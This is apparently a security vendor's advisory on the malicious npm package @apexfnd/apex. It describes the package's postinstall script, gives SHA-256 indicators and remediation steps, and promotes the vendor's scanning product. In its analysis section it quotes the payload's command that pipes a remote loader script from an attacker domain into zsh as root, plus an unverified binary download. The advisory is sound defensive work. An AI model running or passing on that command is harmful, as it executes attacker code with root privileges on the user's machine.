Which versions of @apexfnd/apex are malicious?

The following npm versions of @apexfnd/apex are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate @apexfnd/apex if I installed it?

Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @apexfnd/apex — how do I know if it already compromised me?

If @apexfnd/apex was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @apexfnd/apex part of a known attack campaign?

Yes — @apexfnd/apex is associated with the IN-MAL-2026-010912, IN-MAL-2026-010914 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @apexfnd/apex across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @apexfnd/apex (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @apexfnd/apex across your stack and pipelines.

Malicious package

@apexfnd/apexnpm

@apexfnd/apex is a confirmed malicious npm package (MAL-2026-11121) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @apexfnd/apex (npm)

MAL-2026-11121

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @apexfnd/apex

What this malware does

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1

a36d1bb6b7f3f846668a106c514c55789cd9b94500ad04d579dc5fa2621c438c

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @apexfnd/apex (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @apexfnd/apex across your stack and pipelines.
If you installed it — respond
Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @apexfnd/apex was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @apexfnd/apex before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @apexfnd/apex on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010912IN-MAL-2026-010914

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @apexfnd/apex-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database